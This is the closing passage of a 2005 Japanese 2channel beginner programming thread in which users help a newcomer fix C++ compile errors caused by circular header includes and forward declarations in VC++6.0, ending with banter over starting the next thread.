0941デフォルトの名無しさん2005/11/30(水) 18:55:27
誰かが>>939に対してレスしたような気がした
0942みずき ◆WnmizUKIg6 NGNG
>>941
ヽ(*´∀`*)ノキャッキャ
0943デフォルトの名無しさん2005/11/30(水) 19:36:40
#include <stdio.h>

int main(int argc, char *argv[])
{
printf("%s¥n", argv[0]);
argv[0] = "VIP";
printf("%s¥n", argv[0]);
return 0;
}
0944デフォルトの名無しさん2005/11/30(水) 20:09:39
なにがしたいんだよw
0945デフォルトの名無しさん2005/11/30(水) 20:28:19
ファイルの分割でコンパイルエラー出まくり orz

意味ワカンネ ┐(´ー`)┌
0946デフォルトの名無しさん2005/11/30(水) 20:47:31
>>945
とりあえずソース晒すよろし
0947デフォルトの名無しさん2005/11/30(水) 21:03:52
それはできない(´ー`)
0948デフォルトの名無しさん2005/11/30(水) 21:05:14
ちゃんとインクルードしてるか
09499452005/11/30(水) 22:13:02

#ifndef aaa
#define aaa

#endif


んー、基本的にはヘッダを↑みたなので囲めば
大丈夫なんですよね?
0950デフォルトの名無しさん2005/11/30(水) 22:14:35
そうだけど、ソースさらさないなら、せめてエラーメッセージくらいさらせば?
0951デフォルトの名無しさん2005/11/30(水) 22:17:00
>>949
たぶん、関数の実装をヘッダに書いちゃってる悪寒。
09529452005/11/30(水) 22:25:06
>>951
うはww書きまくりんぐwwww
まずいんですかね
0953デフォルトの名無しさん2005/11/30(水) 23:13:53
べつにまずくないけど気をつけないと多重定義云々面倒くさいことに
何のエラーでてるかわからんと何とも言えないよね
0954デフォルトの名無しさん2005/11/30(水) 23:47:36
>>945
とりあえずソース晒すよろし
0955デフォルトの名無しさん2005/12/01(木) 12:07:52
ラウンジからきますた
0956デフォルトの名無しさん2005/12/01(木) 12:32:55
>>955
お引き取り下さい
0957デフォルトの名無しさん2005/12/01(木) 16:36:13
>>953 >>954
ttp://www.vipper.org/vip150503.zip
ttp://www.vipper.org/vip150504.zip

ヘッダに実装ありバージョンと実装無しバージョンのテストです。
ヘッダに実装ありの方はエラー出ます。

ちゃんとソースの方に実装を分けたらエラーでなくなりました。
これで成功?

昨日エラーが出たやつも、これから実装をソースにわけてみます。
どもありがとー!


でもファイルがいっぱいあると管理が大変になるよ orz
0958デフォルトの名無しさん2005/12/01(木) 16:45:05
>>957
ヘッダに実装書いてるやつ
ソース側じゃなくヘッダ側にiostreamインクルードしたらおkなんじゃね?
0959デフォルトの名無しさん2005/12/01(木) 16:49:11
>>958

#ifndef CCCC
#define CCCC

#include <iostream>
using namespace std;

#include "a.h"
#include "b.h"

class A;
class B;

class C
{
 public:
 int n;
 C () { n = 3; }
 void func1 () { cout << n << endl; }
 void func2 (A a, B b) {}
};

#endif


こうですかね?
これではダメでした。
0960デフォルトの名無しさん2005/12/01(木) 16:56:15
ヘッダ実装ありの01.cppでb.func2とc.func2を引数なしで呼んでるのはなんで?
09619572005/12/01(木) 17:00:32
#include <iostream>
using namespace std;
#include "a.h"
#include "b.h"
#include "c.h"
int main ()
{
 A a;
 B b;
 C c;
 a.func2(b, c);
 b.func2(a, b);
 c.func2(b, c);
 return 0;
}

>>960
すいませんこうでした。 ><
0962デフォルトの名無しさん2005/12/01(木) 17:05:01
b.func2は
void func2 (A a, C c) {}
c.func2は
void func2 (A a, B b) {}

って宣言されてるから01.cppでは

 b.func2(a, c);
 c.func2(a, b);

って呼ばないとエラー。
09639572005/12/01(木) 17:12:54
http://www.vipper.org/vip150522.zip.html

うあ、すみません、修正版です ><
0964デフォルトの名無しさん2005/12/01(木) 17:17:13
>>963
それだとエラーでなくないか?
09659572005/12/01(木) 17:22:41
マジですか!?
VC++6.0 Standardだと以下のエラーが。

コンパイル中...
01.cpp
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(22) : error C2027: 認識できない型 'B' が使われています。
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(14) : 'B' の宣言を確認してください。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(23) : error C2079: 'b' が 未定義の class 'B' で使用されています。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(26) : error C2664: 'func2' : 1 番目の引数を 'int' から 'class B' に変換できません。 (新しい機能 ; ヘルプを参照)
ソースまたはターゲットが不完全な型を含んでいます。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(27) : error C2228: '.func2' : 左側がクラス、構造体、共用体ではありません。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(28) : error C2664: 'func2' : 2 番目の引数を 'int' から 'class B' に変換できません。 (新しい機能 ; ヘルプを参照)
ソースまたはターゲットが不完全な型を含んでいます。
cl.exe の実行エラー

ファイル分割_01.exe - エラー 5、警告 0

//-----------------------------------------------

で、mainを return 0 以外全部コメントアウトすると以下のエラーが。


コンパイル中...
01.cpp
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(22) : error C2027: 認識できない型 'B' が使われています。
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(14) : 'B' の宣言を確認してください。
cl.exe の実行エラー

ファイル分割_01.exe - エラー 1、警告 0
0966デフォルトの名無しさん2005/12/01(木) 17:35:20
>>965
BCB32だと普通に通る。
エラー見るとBの定義がされてないっぽいんだが
b.hだけ別のフォルダにあったりしない?
0967デフォルトの名無しさん2005/12/01(木) 17:35:41
>>965
#includeを順番におっかけていってみよう。"b.h"がincludeされる前に"c.h"がincludeされちゃうね。
09689572005/12/01(木) 17:37:18
おちんちんしゅっしゅ!
09699672005/12/01(木) 17:38:48
>>967
訂正。"b.h"でclass Bが宣言される前に"c.h"がincludeされてclass Cが宣言されちゃう。
09709572005/12/01(木) 17:46:43
>>966
うらやますぃ。

>>969
どれからインクルードされてもいいように、
それぞれのヘッダの上の方で #include "○○.h"ってのを呼んでるつもりなのですが
そういう問題じゃないんですかね orz
てゆか、なんで上から順番どおり読んでくれんのだぁ (T_T)

>>968 w
09719672005/12/01(木) 17:49:14
>>970
上から順番に読んでるよ。
"01.cpp"の#include "a.h"から順番に考えていってごらん。
09729572005/12/01(木) 17:55:46
うあ、そんなん考えたことなかった ('A`)
えーと、、まず

01.cppでa.hが呼ばれて、
a.hでb.hが呼ばれて、
b.hでa.hがスルーされてc.hが呼ばれて、
c.hでa.hとb.hがスルーされて・・

ん?ここで止まる!?
もうわけわかめ
0973デフォルトの名無しさん2005/12/01(木) 18:05:11
>>972
それでゴール。#includeは、ファイルの中身をまるごとソースにコピペするだけ。
>>972の順番で、"01.cpp"の#includeと対応するヘッダファイルを差し替えてみてごらん。
09749572005/12/01(木) 18:37:27
>>973
#includeってコピペだったのね ^^
↓みたいな流れで止まってるのかなぁ。

// 01.cpp
#include iostream
↓
// a.h
↓
// b.h
↓
// c.h
class A: // ←宣言だけ?関数プロトタイプみたいな??
class B:
class C {
public:
 int n;
 C () { n = 3; }
 void func1 () { cout << n << endl; }
 void func2 (A a, B b) {} // ←ここで止まる?

↑のfunc2()で宣言だけされてて、
中身がなんなのかわからない型AとBを使おうとしてるから止まる??

しかもAとBのうち、なぜか右に書いてあるBから判定してるみたい。 func2()を
void func2 (B b, A a) {}
とすると、エラーは「認識できない型 'A' が使われています。 」ってなる。

これでいいでしょか ('A`)
0975デフォルトの名無しさん2005/12/01(木) 18:42:38
('A')
0976デフォルトの名無しさん2005/12/01(木) 18:46:46
class A;
class B;
じゃなかったっけ?
0977デフォルトの名無しさん2005/12/01(木) 18:56:24
次スレてんぷら作ったほうがいんじゃね?
0978デフォルトの名無しさん2005/12/01(木) 18:57:26
>>976
でした orz


ちなみに昨日エラーが出たプログラムは
ヘッダは11、ソースが3。ファイル合計14。

ヘッダの実装をソースに移すと全部で20超えるか。
あと3時間で終わるかな・・。
0979デフォルトの名無しさん2005/12/01(木) 19:06:43
>>978
ちなみに今回の場合、ヘッダに実装を書いたがゆえの多重定義云々じゃなくて、
ファイルの分割方法に問題があったと思われ。
0980デフォルトの名無しさん2005/12/01(木) 19:10:30
C++は意味不なエラーが多いから困る。
今CからC++のクラスを使う関数の呼ぼうとしてはまってるんだけど undefined reference to `operator new(unsigned int)'って言われてビルドできない。
g++でビルドしてるのに…
0981デフォルトの名無しさん2005/12/01(木) 19:21:59
C++のせいにしちゃダメだお(;^ω^)
0982デフォルトの名無しさん2005/12/01(木) 19:23:05
ttp://www.linux.or.jp/JF/JFdocs/kernel-docs-2.2/CodingStyle.html
0983デフォルトの名無しさん2005/12/01(木) 19:26:06
VIPPERでもわかるプログラミング

テンプレは
>>2
>>4
>>5
>>6
でおk?
0984デフォルトの名無しさん2005/12/01(木) 20:55:31
Cってクラスっていう概念がないんだっけ?
0985デフォルトの名無しさん2005/12/01(木) 20:56:55
そりゃオブジェクト指向って考え方が出る前に作られた言語だもん
0986デフォルトの名無しさん2005/12/01(木) 21:01:22
やっと動いたぁ (´д`)

>>979
うはwごめww


ってことで、スレ立ててきまっす。
【VIPPERでもわかるプログラミング 2】
でいいですよね。
0987デフォルトの名無しさん2005/12/01(木) 21:07:48
>>3

/*VIPPERでもわかるプログラミング ver.3*/
がいいとおもう
0988みずき ◆WnmizUKIg6 NGNG
スレタイ:>>987
本  文:>>710
09899862005/12/01(木) 21:12:07
VIPPERでもわかるプログラミング 2
http://pc8.2ch.net/test/read.cgi/tech/1133438540/


ごめ・・・やっちゃった orz
0990デフォルトの名無しさん2005/12/01(木) 21:15:00
std::cout << "VIPでやれ." << std::endl;
0991デフォルトの名無しさん2005/12/01(木) 21:15:09
あーあw
0992デフォルトの名無しさん2005/12/01(木) 21:15:20
1000は俺がいただくぜwwwwwwwwwwwww
0993デフォルトの名無しさん2005/12/01(木) 21:15:55
⊂二二二( ^ω^)二⊃ ブーン
0994デフォルトの名無しさん2005/12/01(木) 21:16:29
ksk
0995デフォルトの名無しさん2005/12/01(木) 21:17:30
std::cout << "VIPだと落ちるんだよ." << std::endl;
0996デフォルトの名無しさん2005/12/01(木) 21:17:41
('A`)
0997みずき ◆WnmizUKIg6 NGNG
gets(>>1000);
0998デフォルトの名無しさん2005/12/01(木) 21:18:28
for(;;)puts("1000は俺様のものです!");
0999デフォルトの名無しさん2005/12/01(木) 21:19:02
(;^ω^)
1000デフォルトの名無しさん2005/12/01(木) 21:19:07
1000
10011001Over 1000Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。